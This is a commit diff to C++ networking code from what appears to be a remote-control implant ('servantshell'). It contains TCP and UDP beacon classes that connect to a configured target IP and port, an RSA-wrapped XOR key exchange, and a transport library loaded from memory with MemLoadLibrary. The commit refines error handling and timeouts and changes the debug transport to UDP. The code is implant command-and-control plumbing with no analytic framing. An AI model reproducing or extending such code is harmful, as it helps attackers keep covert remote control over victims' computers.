adjust comm.
This commit is contained in:
parent
f7eef40b47
commit
18f6779bcc
|
@ -3,7 +3,8 @@
|
|||
#include "HttpComm.h"
|
||||
|
||||
HttpComm::HttpComm(BOOL isSSL):
|
||||
m_http(NULL)
|
||||
m_http(NULL),
|
||||
m_ssl(FALSE)
|
||||
{
|
||||
m_ssl = isSSL;
|
||||
}
|
||||
|
|
|
@ -5,7 +5,8 @@
|
|||
|
||||
TcpComm::TcpComm(BOOL isSecure):
|
||||
m_xorKey1(0),
|
||||
m_xorKey2(0)
|
||||
m_xorKey2(0),
|
||||
m_isSecure(FALSE)
|
||||
{
|
||||
srand(GetTickCount());
|
||||
m_xorKey1 = (BYTE)(rand() % 255);
|
||||
|
@ -76,42 +77,74 @@ BOOL TcpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
|
||||
} while (FALSE);
|
||||
|
||||
|
||||
if ( !ret )
|
||||
m_sock.Close();
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
BOOL TcpComm::Connect( ULONG targetIP, MySocket& sock )
|
||||
{
|
||||
BOOL ret = FALSE;
|
||||
|
||||
sock.Close();
|
||||
if (! sock.Create(TRUE))
|
||||
|
||||
do
|
||||
{
|
||||
errorLogE(_T("create socket failed."));
|
||||
return FALSE;
|
||||
}
|
||||
if (! sock.Create(TRUE))
|
||||
{
|
||||
errorLogE(_T("create socket failed."));
|
||||
break;
|
||||
}
|
||||
|
||||
if (! sock.Connect(targetIP, g_ConfigInfo.nPort, 10))
|
||||
{
|
||||
errorLog(_T("connect [%u] failed"), targetIP);
|
||||
return FALSE;
|
||||
}
|
||||
if (m_isSecure)
|
||||
{
|
||||
int key1 = 0;
|
||||
int key2 = 0;
|
||||
if (! sock.Connect(targetIP, g_ConfigInfo.nPort, 10))
|
||||
{
|
||||
errorLog(_T("connect [%u] failed"), targetIP);
|
||||
break;
|
||||
}
|
||||
|
||||
int flag = TCP_FLAG;
|
||||
int timeout = 20000;
|
||||
setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));
|
||||
setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
|
||||
|
||||
m_sock.SendAll((LPVOID)&flag,sizeof(int));
|
||||
if (m_isSecure)
|
||||
{
|
||||
int key1 = 0;
|
||||
int key2 = 0;
|
||||
|
||||
m_sock.ReceiveAll(&m_rsaKey,sizeof(RSA::RSA_PUBLIC_KEY));
|
||||
int flag = TCP_FLAG;
|
||||
|
||||
RSA::RSAEncrypt((char*)&m_xorKey1,(int*)&key1,m_rsaKey.d,m_rsaKey.n,1);
|
||||
RSA::RSAEncrypt((char*)&m_xorKey2,(int*)&key2,m_rsaKey.d,m_rsaKey.n,1);
|
||||
ret = m_sock.SendAll((LPVOID)&flag,sizeof(int));
|
||||
|
||||
m_sock.SendAll(&key1,sizeof(int));
|
||||
m_sock.SendAll(&key2,sizeof(int));
|
||||
}
|
||||
if ( !ret )
|
||||
break;
|
||||
|
||||
return TRUE;
|
||||
ret = m_sock.ReceiveAll(&m_rsaKey,sizeof(RSA::RSA_PUBLIC_KEY));
|
||||
|
||||
if ( !ret )
|
||||
break;
|
||||
|
||||
RSA::RSAEncrypt((char*)&m_xorKey1,(int*)&key1,m_rsaKey.d,m_rsaKey.n,1);
|
||||
RSA::RSAEncrypt((char*)&m_xorKey2,(int*)&key2,m_rsaKey.d,m_rsaKey.n,1);
|
||||
|
||||
ret = m_sock.SendAll(&key1,sizeof(int));
|
||||
|
||||
if ( !ret )
|
||||
break;
|
||||
|
||||
ret = m_sock.SendAll(&key2,sizeof(int));
|
||||
|
||||
if ( !ret )
|
||||
break;
|
||||
}
|
||||
|
||||
} while (FALSE);
|
||||
|
||||
if ( !ret )
|
||||
sock.Close();
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
BOOL TcpComm::Send( MySocket& sock, ULONG targetIP, const LPBYTE pData, DWORD dwSize )
|
||||
|
|
|
@ -9,16 +9,18 @@
|
|||
|
||||
UdpComm::UdpComm(BOOL isSecure):m_isConnected(FALSE),
|
||||
m_xorKey1(0),
|
||||
m_xorKey2(0)
|
||||
m_xorKey2(0),
|
||||
m_isSecure(FALSE)
|
||||
{
|
||||
m_vtcp.MemLoadLibrary(mem_vtcp,sizeof(mem_vtcp));
|
||||
|
||||
m_vsend = (_vtcp_send)m_vtcp.MemGetProcAddress("vtcp_send");
|
||||
m_vrecv = (_vtcp_recv)m_vtcp.MemGetProcAddress("vtcp_recv");
|
||||
m_vsocket = (_vtcp_socket)m_vtcp.MemGetProcAddress("vtcp_socket");
|
||||
m_vconnect = (_vtcp_connect)m_vtcp.MemGetProcAddress("vtcp_connect");
|
||||
m_vstartup = (_vtcp_startup)m_vtcp.MemGetProcAddress("vtcp_startup");
|
||||
m_vclose = (_vtcp_close)m_vtcp.MemGetProcAddress("vtcp_close");
|
||||
m_vsend = (_vtcp_send) m_vtcp.MemGetProcAddress("vtcp_send");
|
||||
m_vrecv = (_vtcp_recv) m_vtcp.MemGetProcAddress("vtcp_recv");
|
||||
m_vsocket = (_vtcp_socket) m_vtcp.MemGetProcAddress("vtcp_socket");
|
||||
m_vconnect = (_vtcp_connect) m_vtcp.MemGetProcAddress("vtcp_connect");
|
||||
m_vstartup = (_vtcp_startup) m_vtcp.MemGetProcAddress("vtcp_startup");
|
||||
m_vclose = (_vtcp_close) m_vtcp.MemGetProcAddress("vtcp_close");
|
||||
m_vsetsockopt = (_vtcp_setsockopt) m_vtcp.MemGetProcAddress("vtcp_setsockopt");
|
||||
|
||||
m_vstartup();
|
||||
|
||||
|
@ -120,10 +122,7 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
UDP_HEADER recvHead = {0};
|
||||
|
||||
if ( !ReceiveAll(m_sock,(char*)&recvHead, sizeof(UDP_HEADER)))
|
||||
{
|
||||
m_isConnected = FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
ByteBuffer buffer;
|
||||
|
@ -131,7 +130,6 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
|
||||
if (! ReceiveAll(m_sock,(LPBYTE)buffer,recvHead.nSize))
|
||||
{
|
||||
m_isConnected = FALSE;
|
||||
buffer.Free();
|
||||
break;
|
||||
}
|
||||
|
@ -150,7 +148,8 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
|
||||
} while (FALSE);
|
||||
|
||||
|
||||
if ( !ret )
|
||||
m_isConnected = FALSE;
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
@ -170,6 +169,10 @@ BOOL UdpComm::Connect( ULONG targetIP,int port )
|
|||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
int timeout = 20000;
|
||||
m_vsetsockopt(m_sock,SOL_SOCKET,VTCP_SO_RECV_TIMEO,(char*)&timeout,sizeof(int));
|
||||
m_vsetsockopt(m_sock,SOL_SOCKET,VTCP_SO_SEND_TIMEO,(char*)&timeout,sizeof(int));
|
||||
|
||||
if (m_isSecure)
|
||||
{
|
||||
|
|
|
@ -20,6 +20,7 @@ public:
|
|||
typedef int (WINAPI *_vtcp_send)(VTCP_SOCKET s, char * buffer, int cb, int flag);
|
||||
typedef int (WINAPI *_vtcp_recv)(VTCP_SOCKET s, char * buffer, int cb, int flag);
|
||||
typedef int (WINAPI *_vtcp_close)(VTCP_SOCKET s);
|
||||
typedef int (WINAPI *_vtcp_setsockopt)(VTCP_SOCKET s, int level, int optname, char * optval, int optlen);
|
||||
|
||||
private:
|
||||
_vtcp_startup m_vstartup;
|
||||
|
@ -28,6 +29,7 @@ private:
|
|||
_vtcp_send m_vsend;
|
||||
_vtcp_recv m_vrecv;
|
||||
_vtcp_close m_vclose;
|
||||
_vtcp_setsockopt m_vsetsockopt;
|
||||
|
||||
public:
|
||||
//ʵÏÖIComm½Ó¿Ú
|
||||
|
|
|
@ -226,7 +226,7 @@ SHELL_API BOOL Init(BOOL bWait)
|
|||
|
||||
debugLog(_T("init servantshell. filepath is %s%s"), GetBinFilepath(), GetBinFilename());
|
||||
#ifdef _DEBUG
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_TCP;
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_UDP;
|
||||
g_ConfigInfo.nPort = 8082;
|
||||
g_ConfigInfo.nFirstConnectHour = -1;
|
||||
g_ConfigInfo.nFirstConnectMinute = -1;
|
||||
|
|
Loading…
Reference in New Issue